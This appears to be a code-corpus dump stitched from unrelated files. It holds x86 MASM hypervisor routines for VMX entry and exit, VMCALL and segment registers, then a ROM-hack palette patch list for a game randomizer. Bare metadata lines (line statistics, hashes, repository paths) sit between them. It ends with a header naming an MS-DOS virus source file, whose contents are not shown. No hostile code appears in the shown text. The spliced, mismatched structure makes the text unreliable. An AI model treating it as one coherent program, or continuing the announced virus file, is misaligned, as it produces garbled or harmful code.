;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ; implementations ; .CODE ; bool __stdcall AsmInitializeVm( ; _In_ void (*vm_initialization_routine)(_In_ ULONG_PTR, _In_ ULONG_PTR, ; _In_opt_ void *), ; _In_opt_ void *context); AsmInitializeVm PROC vm_initialization_routine, context pushfd pushad ; -4 * 8 mov ecx, esp ; esp ; vm_initialization_routine(rsp, asmResumeVm, context) push context push asmResumeVm push ecx call vm_initialization_routine popad popfd xor eax, eax ; return false ret ; This is where the virtualized guest start to execute after successful ; vmlaunch. asmResumeVm: nop ; keep this nop for ease of debugging popad popfd ASM_DUMP_REGISTERS xor eax, eax inc eax ; return true ret AsmInitializeVm ENDP ; void __stdcall AsmVmmEntryPoint(); AsmVmmEntryPoint PROC ; This .FPO directive emits debug information that helps Windbg construct ; the stack trace of the guest while the VM-exit handlers are being executed. ; ; This directive emits information about the frame pointer optimization (FPO) ; for this function, precisely, how the stack frame of this function is ; constructed. This information is referred to as the frame type, and we set ; the trap frame type for this function as FRAME_TRAP. When Windbg encouters ; such a function while constructng the stack trace, it interprets the value ; at ebp as an address of the KTRAP_FRAME structure and reads its Eip and ; HardwareEsp fields to find a return address, instead of using the value at ; ebp+4 as it normally would (when the frame type is non-FPO). ; ; On Windows, this frame type is often used in an interrupt handler, and an ; interrupt handler builds the frame, that is KTRAP_FRAME, first. This is ; done by, first, the processor pushing eip, cs, eflags, esp, and ss, which ; are referred to as the machine frame, into the stack prior to execution of ; the interrup handler, then the handler pushing the rest of register values ; to form the complete KTRAP_FRAME structure (this part is wrappered in the ; ENTER_TRAP macro). We emulate this behaviour; by the time AsmVmmEntryPoint ; is executed, the machine frame is already allocated right above the VMM ; stack pointer, and then, the rest of space to form the KTRAP_FRAME structue ; is allocated by the first adjustment of esp (hence, KTRAP_FRAME_SIZE minus ; MACHINE_FRAME_SIZE). Then, only necessary fields, that are Eip and ; HardwareEsp, are updated later in VmmVmExitHandler. ; ; Note that the FPO directive takes five other parameters. See: ; https://docs.microsoft.com/en-us/cpp/assembler/masm/dot-fpo?view=vs-2017 ; However, they are not used by Windbg to constuct the stack trace. ; ; The FPO information emitted by this directive can be confirmd with the ; kv or .fnent commands on Windbg. See: ; https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/k--kb--kc--kd--kp--kp--kv--display-stack-backtrace- ; https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/-fnent--display-function-data- ; ; NB: Windbg did not correctly construct the stack frame when any other ; frame types were used (with various combinations of other parameters). ; It appeared that Windbg stopped walking through the ebp-chain when one ; of them points to far away from the current and started to search a ; correct-looking value from nearby memory by assuming that the stack ; was corrupt. .FPO(0, 0, 0, 0, 0, FRAME_TRAP) ; "Push" the KTRAP_FRAME structure. The values are uninitilized but unused ; anyway, except for Eip and HardwareEsp that are updated later. This esp ; does not have to be restored because the guest esp is restored from VMCS ; on VMRESUME or manually with the MOV instruction after VMXOFF (see below ; the exitVm label). sub esp, KTRAP_FRAME_SIZE - MACHINE_FRAME_SIZE ; No need to save the flag registers since it is restored from the VMCS at ; the time of vmresume. pushad ; -4 * 8 mov eax, esp ; save the "stack" parameter for VmmVmExitHandler mov ebp, eax add ebp, 4*8 ; update EBP to point to the KTRAP_FRAME ; prior to touching XMM registers, must make sure that does not cause #GP sub esp, 60h mov ecx, cr0 mov edx, ecx ; save original CR0 and cl, 0f1h ; clear MP, EM, TS bits for floating point access mov cr0, ecx ; update CR0 ; save volatile XMM registers movaps xmmword ptr [esp + 0h], xmm0 movaps xmmword ptr [esp + 10h], xmm1 movaps xmmword ptr [esp + 20h], xmm2 movaps xmmword ptr [esp + 30h], xmm3 movaps xmmword ptr [esp + 40h], xmm4 movaps xmmword ptr [esp + 50h], xmm5 mov cr0, edx ; restore the original CR0 push eax call VmmVmExitHandler@4 ; bool vm_continue = VmmVmExitHandler(stack); ; prior to touching XMM registers, must make sure that does not cause #GP mov ecx, cr0 mov edx, ecx ; save original CR0 and cl, 0f1h ; clear MP, EM, TS bits for floating point access mov cr0, ecx ; update CR0 ; restore XMM registers movaps xmm0, xmmword ptr [esp + 0h] movaps xmm1, xmmword ptr [esp + 10h] movaps xmm2, xmmword ptr [esp + 20h] movaps xmm3, xmmword ptr [esp + 30h] movaps xmm4, xmmword ptr [esp + 40h] movaps xmm5, xmmword ptr [esp + 50h] mov cr0, edx ; restore the original CR0 add esp, 60h test al, al jz exitVm ; if (!vm_continue) jmp exitVm popad vmresume jmp vmxError exitVm: ; Executes vmxoff and ends virtualization ; eax = Guest's eflags ; edx = Guest's esp ; ecx = Guest's eip for the next instruction popad vmxoff jz vmxError ; if (ZF) jmp jc vmxError ; if (CF) jmp push eax popfd ; eflags <= GurstFlags mov esp, edx ; esp <= GuestRsp push ecx ret ; jmp AddressToReturn vmxError: ; Diagnose a critical error pushfd pushad ; -4 * 8 mov ecx, esp ; all_regs push ecx call VmmVmxFailureHandler@4 ; VmmVmxFailureHandler(all_regs); int 3 AsmVmmEntryPoint ENDP ; unsigned char __stdcall AsmVmxCall(_In_ ULONG_PTR hypercall_number, ; _In_opt_ void *context); AsmVmxCall PROC hypercall_number, context mov ecx, hypercall_number mov edx, context vmcall ; vmcall(hypercall_number, context) jz errorWithCode ; if (ZF) jmp jc errorWithoutCode ; if (CF) jmp xor eax, eax ; return VMX_OK ret errorWithoutCode: mov eax, VMX_ERROR_WITHOUT_STATUS ret errorWithCode: mov eax, VMX_ERROR_WITH_STATUS ret AsmVmxCall ENDP ; void __stdcall AsmWriteGDT(_In_ const GDTR *gdtr); AsmWriteGDT PROC gdtr mov ecx, gdtr lgdt fword ptr [ecx] ret AsmWriteGDT ENDP ; void __stdcall AsmWriteLDTR(_In_ USHORT local_segmeng_selector); AsmWriteLDTR PROC local_segmeng_selector mov ecx, local_segmeng_selector lldt cx ret AsmWriteLDTR ENDP ; USHORT __stdcall AsmReadLDTR(); AsmReadLDTR PROC sldt ax ret AsmReadLDTR ENDP ; void __stdcall AsmWriteTR(_In_ USHORT task_register); AsmWriteTR PROC task_register mov ecx, task_register ltr cx ret AsmWriteTR ENDP ; USHORT __stdcall AsmReadTR(); AsmReadTR PROC str ax ret AsmReadTR ENDP ; void __stdcall AsmWriteES(_In_ USHORT segment_selector); AsmWriteES PROC segment_selector mov ecx, segment_selector mov es, cx ret AsmWriteES ENDP ; USHORT __stdcall AsmReadES(); AsmReadES PROC mov ax, es ret AsmReadES ENDP ; void __stdcall AsmWriteCS(_In_ USHORT segment_selector); AsmWriteCS PROC segment_selector mov ecx, segment_selector mov cs, cx ret AsmWriteCS ENDP ; USHORT __stdcall AsmReadCS(); AsmReadCS PROC mov ax, cs ret AsmReadCS ENDP ; void __stdcall AsmWriteSS(_In_ USHORT segment_selector); AsmWriteSS PROC segment_selector mov ecx, segment_selector mov ss, cx ret AsmWriteSS ENDP ; USHORT __stdcall AsmReadSS(); AsmReadSS PROC mov ax, ss ret AsmReadSS ENDP ; void __stdcall AsmWriteDS(_In_ USHORT segment_selector); AsmWriteDS PROC segment_selector mov ecx, segment_selector mov ds, cx ret AsmWriteDS ENDP ; USHORT __stdcall AsmReadDS(); AsmReadDS PROC mov ax, ds ret AsmReadDS ENDP ; void __stdcall AsmWriteFS(_In_ USHORT segment_selector); AsmWriteFS PROC segment_selector mov ecx, segment_selector mov fs, cx ret AsmWriteFS ENDP ; USHORT __stdcall AsmReadFS(); AsmReadFS PROC mov ax, fs ret AsmReadFS ENDP ; void __stdcall AsmWriteGS(_In_ USHORT segment_selector); AsmWriteGS PROC segment_selector mov ecx, segment_selector mov gs, cx ret AsmWriteGS ENDP ; USHORT __stdcall AsmReadGS(); AsmReadGS PROC mov ax, gs ret AsmReadGS ENDP ; ULONG_PTR __stdcall AsmLoadAccessRightsByte( ; _In_ ULONG_PTR segment_selector); AsmLoadAccessRightsByte PROC segment_selector mov ecx, segment_selector lar eax, ecx ret AsmLoadAccessRightsByte ENDP ; void __stdcall AsmInvalidateInternalCaches(); AsmInvalidateInternalCaches PROC invd ret AsmInvalidateInternalCaches ENDP ; void __stdcall AsmWriteCR2(_In_ ULONG_PTR cr2_value); AsmWriteCR2 PROC cr2_value mov ecx, cr2_value mov cr2, ecx ret AsmWriteCR2 ENDP ; unsigned char __stdcall AsmInvept( ; _In_ InvEptType invept_type, ; _In_ const InvEptDescriptor *invept_descriptor); AsmInvept PROC invept_type, invept_descriptor mov ecx, invept_type mov edx, invept_descriptor invept ecx, oword ptr [edx] jz errorWithCode ; if (ZF) jmp jc errorWithoutCode ; if (CF) jmp xor eax, eax ; return VMX_OK ret errorWithoutCode: mov eax, VMX_ERROR_WITHOUT_STATUS ret errorWithCode: mov eax, VMX_ERROR_WITH_STATUS ret AsmInvept ENDP ; unsigned char __stdcall AsmInvvpid( ; _In_ InvVpidType invvpid_type, ; _In_ const InvVpidDescriptor *invvpid_descriptor); AsmInvvpid PROC invvpid_type, invvpid_descriptor mov ecx, invvpid_type mov edx, invvpid_descriptor invvpid ecx, oword ptr [edx] jz errorWithCode ; if (ZF) jmp jc errorWithoutCode ; if (CF) jmp xor eax, eax ; return VMX_OK ret errorWithoutCode: mov eax, VMX_ERROR_WITHOUT_STATUS ret errorWithCode: mov eax, VMX_ERROR_WITH_STATUS ret AsmInvvpid ENDP PURGE ASM_DUMP_REGISTERS END
29.424821
124
0.664125
70f8447d44e56e196285a4a589f668d3424acc27
14,985
asm
Assembly
src/sm/sprite/palettes.asm
PJBoy/alttp_sm_combo_randomizer_rom
4f14c87227b512a864d1f298e4a6efe7cbc373b3
[ "MIT" ]
31
2018-05-03T06:43:23.000Z
2021-07-16T13:17:01.000Z
src/sm/sprite/palettes.asm
PJBoy/alttp_sm_combo_randomizer_rom
4f14c87227b512a864d1f298e4a6efe7cbc373b3
[ "MIT" ]
13
2018-05-08T20:15:54.000Z
2022-01-20T21:28:53.000Z
src/sm/sprite/palettes.asm
PJBoy/alttp_sm_combo_randomizer_rom
4f14c87227b512a864d1f298e4a6efe7cbc373b3
[ "MIT" ]
26
2018-05-04T12:25:41.000Z
2022-03-23T20:27:57.000Z
incbin "data/palette_sepia.bin" -> $CCE569+2 incbin "data/palette_ship_intro.bin" -> $CCE689+2 incbin "data/palette_ship_glow.bin":(0*2)-(1*2) -> $CDCA4E+6+(0*6) incbin "data/palette_ship_glow.bin":(1*2)-(2*2) -> $CDCA4E+6+(1*6) incbin "data/palette_ship_glow.bin":(2*2)-(3*2) -> $CDCA4E+6+(2*6) incbin "data/palette_ship_glow.bin":(3*2)-(4*2) -> $CDCA4E+6+(3*6) incbin "data/palette_ship_glow.bin":(4*2)-(5*2) -> $CDCA4E+6+(4*6) incbin "data/palette_ship_glow.bin":(5*2)-(6*2) -> $CDCA4E+6+(5*6) incbin "data/palette_ship_glow.bin":(6*2)-(7*2) -> $CDCA4E+6+(6*6) incbin "data/palette_ship_glow.bin":(7*2)-(8*2) -> $CDCA4E+6+(7*6) incbin "data/palette_ship_glow.bin":(8*2)-(9*2) -> $CDCA4E+6+(8*6) incbin "data/palette_ship_glow.bin":(9*2)-(10*2) -> $CDCA4E+6+(9*6) incbin "data/palette_ship_glow.bin":(10*2)-(11*2) -> $CDCA4E+6+(10*6) incbin "data/palette_ship_glow.bin":(11*2)-(12*2) -> $CDCA4E+6+(11*6) incbin "data/palette_ship_glow.bin":(12*2)-(13*2) -> $CDCA4E+6+(12*6) incbin "data/palette_ship_glow.bin":(13*2)-0 -> $CDCA4E+6+(13*6) incbin "data/palette_ship_outro.bin":(0*30)-(1*30) -> $CDD6BA+2+6+(0*$24) incbin "data/palette_ship_outro.bin":(1*30)-(2*30) -> $CDD6BA+2+6+(1*$24) incbin "data/palette_ship_outro.bin":(2*30)-(3*30) -> $CDD6BA+2+6+(2*$24) incbin "data/palette_ship_outro.bin":(3*30)-(4*30) -> $CDD6BA+2+6+(3*$24) incbin "data/palette_ship_outro.bin":(4*30)-(5*30) -> $CDD6BA+2+6+(4*$24) incbin "data/palette_ship_outro.bin":(5*30)-(6*30) -> $CDD6BA+2+6+(5*$24) incbin "data/palette_ship_outro.bin":(6*30)-(7*30) -> $CDD6BA+2+6+(6*$24) incbin "data/palette_ship_outro.bin":(7*30)-(8*30) -> $CDD6BA+2+6+(7*$24) incbin "data/palette_ship_outro.bin":(8*30)-(9*30) -> $CDD6BA+2+6+(8*$24) incbin "data/palette_ship_outro.bin":(9*30)-(10*30) -> $CDD6BA+2+6+(9*$24) incbin "data/palette_ship_outro.bin":(10*30)-(11*30) -> $CDD6BA+2+6+(10*$24) incbin "data/palette_ship_outro.bin":(11*30)-(12*30) -> $CDD6BA+2+6+(11*$24) incbin "data/palette_ship_outro.bin":(12*30)-(13*30) -> $CDD6BA+2+6+(12*$24) incbin "data/palette_ship_outro.bin":(13*30)-(14*30) -> $CDD6BA+2+6+(13*$24) incbin "data/palette_ship_outro.bin":(14*30)-(15*30) -> $CDD6BA+2+6+(14*$24) incbin "data/palette_ship_outro.bin":(15*30)-0 -> $CDD6BA+2+6+(15*$24) incbin "data/palette_power_loader.bin":(0*30)-(1*30) -> $CDDB62+2+$009 incbin "data/palette_power_loader.bin":(1*30)-(2*30) -> $CDDB62+2+$02D incbin "data/palette_power_loader.bin":(2*30)-(3*30) -> $CDDB62+2+$058 incbin "data/palette_power_loader.bin":(3*30)-(4*30) -> $CDDB62+2+$07C incbin "data/palette_power_loader.bin":(4*30)-(5*30) -> $CDDB62+2+$0A7 incbin "data/palette_power_loader.bin":(5*30)-(6*30) -> $CDDB62+2+$0CB incbin "data/palette_power_loader.bin":(6*30)-(7*30) -> $CDDB62+2+$0F6 incbin "data/palette_power_loader.bin":(7*30)-(8*30) -> $CDDB62+2+$11A incbin "data/palette_power_loader.bin":(8*30)-0 -> $CDDB62+2+$142 incbin "data/palette_varia_loader.bin":(0*30)-(1*30) -> $CDDCC8+2+$009 incbin "data/palette_varia_loader.bin":(1*30)-(2*30) -> $CDDCC8+2+$02D incbin "data/palette_varia_loader.bin":(2*30)-(3*30) -> $CDDCC8+2+$058 incbin "data/palette_varia_loader.bin":(3*30)-(4*30) -> $CDDCC8+2+$07C incbin "data/palette_varia_loader.bin":(4*30)-(5*30) -> $CDDCC8+2+$0A7 incbin "data/palette_varia_loader.bin":(5*30)-(6*30) -> $CDDCC8+2+$0CB incbin "data/palette_varia_loader.bin":(6*30)-(7*30) -> $CDDCC8+2+$0F6 incbin "data/palette_varia_loader.bin":(7*30)-(8*30) -> $CDDCC8+2+$11A incbin "data/palette_varia_loader.bin":(8*30)-0 -> $CDDCC8+2+$142 incbin "data/palette_gravity_loader.bin":(0*30)-(1*30) -> $CDDE2E+2+$009 incbin "data/palette_gravity_loader.bin":(1*30)-(2*30) -> $CDDE2E+2+$02D incbin "data/palette_gravity_loader.bin":(2*30)-(3*30) -> $CDDE2E+2+$058 incbin "data/palette_gravity_loader.bin":(3*30)-(4*30) -> $CDDE2E+2+$07C incbin "data/palette_gravity_loader.bin":(4*30)-(5*30) -> $CDDE2E+2+$0A7 incbin "data/palette_gravity_loader.bin":(5*30)-(6*30) -> $CDDE2E+2+$0CB incbin "data/palette_gravity_loader.bin":(6*30)-(7*30) -> $CDDE2E+2+$0F6 incbin "data/palette_gravity_loader.bin":(7*30)-(8*30) -> $CDDE2E+2+$11A incbin "data/palette_gravity_loader.bin":(8*30)-0 -> $CDDE2E+2+$142 incbin "data/palette_power_heat.bin":(0*30)-(1*30) -> $CDE45E+$A+(0*$22) incbin "data/palette_power_heat.bin":(1*30)-(2*30) -> $CDE45E+$A+(1*$22) incbin "data/palette_power_heat.bin":(2*30)-(3*30) -> $CDE45E+$A+(2*$22) incbin "data/palette_power_heat.bin":(3*30)-(4*30) -> $CDE45E+$A+(3*$22) incbin "data/palette_power_heat.bin":(4*30)-(5*30) -> $CDE45E+$A+(4*$22) incbin "data/palette_power_heat.bin":(5*30)-(6*30) -> $CDE45E+$A+(5*$22) incbin "data/palette_power_heat.bin":(6*30)-(7*30) -> $CDE45E+$A+(6*$22) incbin "data/palette_power_heat.bin":(7*30)-(8*30) -> $CDE45E+$A+(7*$22) incbin "data/palette_power_heat.bin":(8*30)-(9*30) -> $CDE45E+$A+(8*$22) incbin "data/palette_power_heat.bin":(9*30)-(10*30) -> $CDE45E+$A+(9*$22) incbin "data/palette_power_heat.bin":(10*30)-(11*30) -> $CDE45E+$A+(10*$22) incbin "data/palette_power_heat.bin":(11*30)-(12*30) -> $CDE45E+$A+(11*$22) incbin "data/palette_power_heat.bin":(12*30)-(13*30) -> $CDE45E+$A+(12*$22) incbin "data/palette_power_heat.bin":(13*30)-(14*30) -> $CDE45E+$A+(13*$22) incbin "data/palette_power_heat.bin":(14*30)-(15*30) -> $CDE45E+$A+(14*$22) incbin "data/palette_power_heat.bin":(15*30)-0 -> $CDE45E+$A+(15*$22) incbin "data/palette_varia_heat.bin":(0*30)-(1*30) -> $CDE68A+$A+(0*$22) incbin "data/palette_varia_heat.bin":(1*30)-(2*30) -> $CDE68A+$A+(1*$22) incbin "data/palette_varia_heat.bin":(2*30)-(3*30) -> $CDE68A+$A+(2*$22) incbin "data/palette_varia_heat.bin":(3*30)-(4*30) -> $CDE68A+$A+(3*$22) incbin "data/palette_varia_heat.bin":(4*30)-(5*30) -> $CDE68A+$A+(4*$22) incbin "data/palette_varia_heat.bin":(5*30)-(6*30) -> $CDE68A+$A+(5*$22) incbin "data/palette_varia_heat.bin":(6*30)-(7*30) -> $CDE68A+$A+(6*$22) incbin "data/palette_varia_heat.bin":(7*30)-(8*30) -> $CDE68A+$A+(7*$22) incbin "data/palette_varia_heat.bin":(8*30)-(9*30) -> $CDE68A+$A+(8*$22) incbin "data/palette_varia_heat.bin":(9*30)-(10*30) -> $CDE68A+$A+(9*$22) incbin "data/palette_varia_heat.bin":(10*30)-(11*30) -> $CDE68A+$A+(10*$22) incbin "data/palette_varia_heat.bin":(11*30)-(12*30) -> $CDE68A+$A+(11*$22) incbin "data/palette_varia_heat.bin":(12*30)-(13*30) -> $CDE68A+$A+(12*$22) incbin "data/palette_varia_heat.bin":(13*30)-(14*30) -> $CDE68A+$A+(13*$22) incbin "data/palette_varia_heat.bin":(14*30)-(15*30) -> $CDE68A+$A+(14*$22) incbin "data/palette_varia_heat.bin":(15*30)-0 -> $CDE68A+$A+(15*$22) incbin "data/palette_gravity_heat.bin":(0*30)-(1*30) -> $CDE8B6+$A+(0*$22) incbin "data/palette_gravity_heat.bin":(1*30)-(2*30) -> $CDE8B6+$A+(1*$22) incbin "data/palette_gravity_heat.bin":(2*30)-(3*30) -> $CDE8B6+$A+(2*$22) incbin "data/palette_gravity_heat.bin":(3*30)-(4*30) -> $CDE8B6+$A+(3*$22) incbin "data/palette_gravity_heat.bin":(4*30)-(5*30) -> $CDE8B6+$A+(4*$22) incbin "data/palette_gravity_heat.bin":(5*30)-(6*30) -> $CDE8B6+$A+(5*$22) incbin "data/palette_gravity_heat.bin":(6*30)-(7*30) -> $CDE8B6+$A+(6*$22) incbin "data/palette_gravity_heat.bin":(7*30)-(8*30) -> $CDE8B6+$A+(7*$22) incbin "data/palette_gravity_heat.bin":(8*30)-(9*30) -> $CDE8B6+$A+(8*$22) incbin "data/palette_gravity_heat.bin":(9*30)-(10*30) -> $CDE8B6+$A+(9*$22) incbin "data/palette_gravity_heat.bin":(10*30)-(11*30) -> $CDE8B6+$A+(10*$22) incbin "data/palette_gravity_heat.bin":(11*30)-(12*30) -> $CDE8B6+$A+(11*$22) incbin "data/palette_gravity_heat.bin":(12*30)-(13*30) -> $CDE8B6+$A+(12*$22) incbin "data/palette_gravity_heat.bin":(13*30)-(14*30) -> $CDE8B6+$A+(13*$22) incbin "data/palette_gravity_heat.bin":(14*30)-(15*30) -> $CDE8B6+$A+(14*$22) incbin "data/palette_gravity_heat.bin":(15*30)-0 -> $CDE8B6+$A+(15*$22) incbin "data/palette_power_charge.bin":(0*30)-(1*30) -> $DB9820+2+(0*$20) incbin "data/palette_power_charge.bin":(1*30)-(2*30) -> $DB9820+2+(1*$20) incbin "data/palette_power_charge.bin":(2*30)-(3*30) -> $DB9820+2+(2*$20) incbin "data/palette_power_charge.bin":(3*30)-(4*30) -> $DB9820+2+(3*$20) incbin "data/palette_power_charge.bin":(4*30)-(5*30) -> $DB9820+2+(4*$20) incbin "data/palette_power_charge.bin":(5*30)-(6*30) -> $DB9820+2+(5*$20) incbin "data/palette_power_charge.bin":(6*30)-(7*30) -> $DB9820+2+(6*$20) incbin "data/palette_power_charge.bin":(7*30)-0 -> $DB9820+2+(7*$20) incbin "data/palette_varia_charge.bin":(0*30)-(1*30) -> $DB9920+2+(0*$20) incbin "data/palette_varia_charge.bin":(1*30)-(2*30) -> $DB9920+2+(1*$20) incbin "data/palette_varia_charge.bin":(2*30)-(3*30) -> $DB9920+2+(2*$20) incbin "data/palette_varia_charge.bin":(3*30)-(4*30) -> $DB9920+2+(3*$20) incbin "data/palette_varia_charge.bin":(4*30)-(5*30) -> $DB9920+2+(4*$20) incbin "data/palette_varia_charge.bin":(5*30)-(6*30) -> $DB9920+2+(5*$20) incbin "data/palette_varia_charge.bin":(6*30)-(7*30) -> $DB9920+2+(6*$20) incbin "data/palette_varia_charge.bin":(7*30)-0 -> $DB9920+2+(7*$20) incbin "data/palette_gravity_charge.bin":(0*30)-(1*30) -> $DB9A20+2+(0*$20) incbin "data/palette_gravity_charge.bin":(1*30)-(2*30) -> $DB9A20+2+(1*$20) incbin "data/palette_gravity_charge.bin":(2*30)-(3*30) -> $DB9A20+2+(2*$20) incbin "data/palette_gravity_charge.bin":(3*30)-(4*30) -> $DB9A20+2+(3*$20) incbin "data/palette_gravity_charge.bin":(4*30)-(5*30) -> $DB9A20+2+(4*$20) incbin "data/palette_gravity_charge.bin":(5*30)-(6*30) -> $DB9A20+2+(5*$20) incbin "data/palette_gravity_charge.bin":(6*30)-(7*30) -> $DB9A20+2+(6*$20) incbin "data/palette_gravity_charge.bin":(7*30)-0 -> $DB9A20+2+(7*$20) incbin "data/palette_power_speed_boost.bin":(0*30)-(1*30) -> $DB9B20+2+(0*$20) incbin "data/palette_power_speed_boost.bin":(1*30)-(2*30) -> $DB9B20+2+(1*$20) incbin "data/palette_power_speed_boost.bin":(2*30)-(3*30) -> $DB9B20+2+(2*$20) incbin "data/palette_power_speed_boost.bin":(3*30)-0 -> $DB9B20+2+(3*$20) incbin "data/palette_power_speed_squat.bin":(0*30)-(1*30) -> $DB9BA0+2+(0*$20) incbin "data/palette_power_speed_squat.bin":(1*30)-(2*30) -> $DB9BA0+2+(1*$20) incbin "data/palette_power_speed_squat.bin":(2*30)-(3*30) -> $DB9BA0+2+(2*$20) incbin "data/palette_power_speed_squat.bin":(3*30)-0 -> $DB9BA0+2+(3*$20) incbin "data/palette_power_shinespark.bin":(0*30)-(1*30) -> $DB9C20+2+(0*$20) incbin "data/palette_power_shinespark.bin":(1*30)-(2*30) -> $DB9C20+2+(1*$20) incbin "data/palette_power_shinespark.bin":(2*30)-(3*30) -> $DB9C20+2+(2*$20) incbin "data/palette_power_shinespark.bin":(3*30)-0 -> $DB9C20+2+(3*$20) incbin "data/palette_power_screw_attack.bin":(0*30)-(1*30) -> $DB9CA0+2+(0*$20) incbin "data/palette_power_screw_attack.bin":(1*30)-(2*30) -> $DB9CA0+2+(1*$20) incbin "data/palette_power_screw_attack.bin":(2*30)-(3*30) -> $DB9CA0+2+(2*$20) incbin "data/palette_power_screw_attack.bin":(3*30)-0 -> $DB9CA0+2+(3*$20) incbin "data/palette_varia_speed_boost.bin":(0*30)-(1*30) -> $DB9D20+2+(0*$20) incbin "data/palette_varia_speed_boost.bin":(1*30)-(2*30) -> $DB9D20+2+(1*$20) incbin "data/palette_varia_speed_boost.bin":(2*30)-(3*30) -> $DB9D20+2+(2*$20) incbin "data/palette_varia_speed_boost.bin":(3*30)-0 -> $DB9D20+2+(3*$20) incbin "data/palette_varia_speed_squat.bin":(0*30)-(1*30) -> $DB9DA0+2+(0*$20) incbin "data/palette_varia_speed_squat.bin":(1*30)-(2*30) -> $DB9DA0+2+(1*$20) incbin "data/palette_varia_speed_squat.bin":(2*30)-(3*30) -> $DB9DA0+2+(2*$20) incbin "data/palette_varia_speed_squat.bin":(3*30)-0 -> $DB9DA0+2+(3*$20) incbin "data/palette_varia_shinespark.bin":(0*30)-(1*30) -> $DB9E20+2+(0*$20) incbin "data/palette_varia_shinespark.bin":(1*30)-(2*30) -> $DB9E20+2+(1*$20) incbin "data/palette_varia_shinespark.bin":(2*30)-(3*30) -> $DB9E20+2+(2*$20) incbin "data/palette_varia_shinespark.bin":(3*30)-0 -> $DB9E20+2+(3*$20) incbin "data/palette_varia_screw_attack.bin":(0*30)-(1*30) -> $DB9EA0+2+(0*$20) incbin "data/palette_varia_screw_attack.bin":(1*30)-(2*30) -> $DB9EA0+2+(1*$20) incbin "data/palette_varia_screw_attack.bin":(2*30)-(3*30) -> $DB9EA0+2+(2*$20) incbin "data/palette_varia_screw_attack.bin":(3*30)-0 -> $DB9EA0+2+(3*$20) incbin "data/palette_gravity_speed_boost.bin":(0*30)-(1*30) -> $DB9F20+2+(0*$20) incbin "data/palette_gravity_speed_boost.bin":(1*30)-(2*30) -> $DB9F20+2+(1*$20) incbin "data/palette_gravity_speed_boost.bin":(2*30)-(3*30) -> $DB9F20+2+(2*$20) incbin "data/palette_gravity_speed_boost.bin":(3*30)-0 -> $DB9F20+2+(3*$20) incbin "data/palette_gravity_speed_squat.bin":(0*30)-(1*30) -> $DB9FA0+2+(0*$20) incbin "data/palette_gravity_speed_squat.bin":(1*30)-(2*30) -> $DB9FA0+2+(1*$20) incbin "data/palette_gravity_speed_squat.bin":(2*30)-(3*30) -> $DB9FA0+2+(2*$20) incbin "data/palette_gravity_speed_squat.bin":(3*30)-0 -> $DB9FA0+2+(3*$20) incbin "data/palette_gravity_shinespark.bin":(0*30)-(1*30) -> $DBA020+2+(0*$20) incbin "data/palette_gravity_shinespark.bin":(1*30)-(2*30) -> $DBA020+2+(1*$20) incbin "data/palette_gravity_shinespark.bin":(2*30)-(3*30) -> $DBA020+2+(2*$20) incbin "data/palette_gravity_shinespark.bin":(3*30)-0 -> $DBA020+2+(3*$20) incbin "data/palette_gravity_screw_attack.bin":(0*30)-(1*30) -> $DBA0A0+2+(0*$20) incbin "data/palette_gravity_screw_attack.bin":(1*30)-(2*30) -> $DBA0A0+2+(1*$20) incbin "data/palette_gravity_screw_attack.bin":(2*30)-(3*30) -> $DBA0A0+2+(2*$20) incbin "data/palette_gravity_screw_attack.bin":(3*30)-0 -> $DBA0A0+2+(3*$20) incbin "data/palette_death.bin":(0*30)-(1*30) -> $DBA120+2+(0*$20) incbin "data/palette_death.bin":(1*30)-(2*30) -> $DBA120+2+(1*$20) incbin "data/palette_death.bin":(2*30)-(3*30) -> $DBA120+2+(2*$20) incbin "data/palette_death.bin":(3*30)-(4*30) -> $DBA120+2+(3*$20) incbin "data/palette_death.bin":(4*30)-(5*30) -> $DBA120+2+(4*$20) incbin "data/palette_death.bin":(5*30)-(6*30) -> $DBA120+2+(5*$20) incbin "data/palette_death.bin":(6*30)-(7*30) -> $DBA120+2+(6*$20) incbin "data/palette_death.bin":(7*30)-(8*30) -> $DBA120+2+(7*$20) incbin "data/palette_death.bin":(8*30)-0 -> $DBA120+2+(8*$20) incbin "data/palette_hyper.bin":(0*30)-(1*30) -> $DBA240+2+(0*$20) incbin "data/palette_hyper.bin":(1*30)-(2*30) -> $DBA240+2+(1*$20) incbin "data/palette_hyper.bin":(2*30)-(3*30) -> $DBA240+2+(2*$20) incbin "data/palette_hyper.bin":(3*30)-(4*30) -> $DBA240+2+(3*$20) incbin "data/palette_hyper.bin":(4*30)-(5*30) -> $DBA240+2+(4*$20) incbin "data/palette_hyper.bin":(5*30)-(6*30) -> $DBA240+2+(5*$20) incbin "data/palette_hyper.bin":(6*30)-(7*30) -> $DBA240+2+(6*$20) incbin "data/palette_hyper.bin":(7*30)-(8*30) -> $DBA240+2+(7*$20) incbin "data/palette_hyper.bin":(8*30)-(9*30) -> $DBA240+2+(8*$20) incbin "data/palette_hyper.bin":(9*30)-0 -> $DBA240+2+(9*$20) incbin "data/palette_sepia_hurt.bin" -> $DBA380+2 incbin "data/palette_sepia.bin" -> $DBA3A0+2 incbin "data/palette_xray.bin" -> $DBA3C0 incbin "data/palette_ship_standard.bin" -> $E2A59E+2
64.590517
81
0.658125
889f98e26dc84a2d15a9eeb702e629788f0cfe71
30,235
asm
Assembly
MSDOS/Virus.MSDOS.Unknown.plastiq.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:13.000Z
2022-03-16T09:11:05.000Z
MSDOS/Virus.MSDOS.Unknown.plastiq.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
null
null
null
MSDOS/Virus.MSDOS.Unknown.plastiq.asm
fengjixuchui/Family
2abe167082817d70ff2fd6567104ce4bcf0fe304
[ "MIT" ]
3
2021-05-15T15:57:15.000Z
2022-01-08T20:51:04.000Z
